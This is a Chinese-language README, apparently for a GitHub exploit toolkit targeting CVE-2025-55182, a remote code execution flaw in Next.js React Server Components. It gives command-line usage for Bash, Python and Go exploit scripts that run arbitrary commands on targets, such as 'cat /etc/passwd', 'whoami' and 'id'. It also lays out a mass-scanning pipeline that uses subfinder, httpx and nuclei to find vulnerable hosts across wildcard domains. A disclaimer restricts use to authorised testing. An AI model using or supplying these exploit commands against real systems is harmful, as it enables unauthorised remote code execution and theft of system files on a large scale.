用于Next.js React Server Components中CVE-2025-55182 RCE的多语言扫描器,具有单次/批量扫描模式,并集成了漏洞赏金侦察工作流。
一个用于检测和利用 CVE-2025-55182 的全面工具包,这是 Next.js 应用程序中 React Server Components 的一个严重远程代码执行漏洞。
该仓库包含一个统一的 Bash 扫描器(单目标与批量模式)、Python/Go 实现以及一个漏洞赏金侦察工作流。

针对通配符域名进行批量挖掘时,使用以下管道过滤目标后再扫描:
# 1. 枚举子域名
subfinder -dL wildcards.txt -all -recursive > subs.txt
# 2. 筛选存活主机
httpx -l subs.txt -o live.txt
# 3. 使用 Nuclei 进行预扫描检测(可选)
nuclei -l live.txt -t CVE-2025-55182.yaml -o final.txt
scanner.sh 脚本支持单目标扫描和从文件列表进行批量扫描。
chmod +x scanner.sh
最适合通过详细输出验证特定目标。
# 基本检查(默认使用 "id" 命令)
./scanner.sh -d example.com
# 执行自定义命令
./scanner.sh -d https://target.com -c "cat /etc/passwd"
高效扫描 URL 列表,并将存在漏洞的主机保存到文件。
# 扫描 URL 列表
./scanner.sh -l live.txt -c "whoami"
# 自定义输出文件
./scanner.sh -l live.txt -o my_bounty.txt
如果在 Bash 中转义特殊字符遇到问题,请使用此版本。
pip install requests
python3 python/exploit.py -u http://target.com -c "uname -a"
高性能,依赖极少。
go run go/main.go -u http://target.com -c "id"
cd go
go build -o cve-scanner main.go
./cve-scanner -u http://target.com
本工具仅用于教育目的和授权的安全测试。 未经授权使用是严格违法的。 开发人员对因滥用或使用本程序造成的任何损害不承担任何责任。
NVD CVE 详情: https://nvd.nist.gov/vuln/detail/CVE-2025-55182
React 安全公告(React Server Components 漏洞): https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
ProjectDiscovery Nuclei 模板: https://cloud.projectdiscovery.io/library/CVE-2025-55182
| 标志 | 描述 |
|---|
-d, --domain | 单个目标 URL |
-l, --list | 包含 URL 列表的文件 |
-c, --command | 要执行的命令(默认:id) |
-o, --output | 漏洞主机的输出文件(默认:vulnerable_hosts.txt) |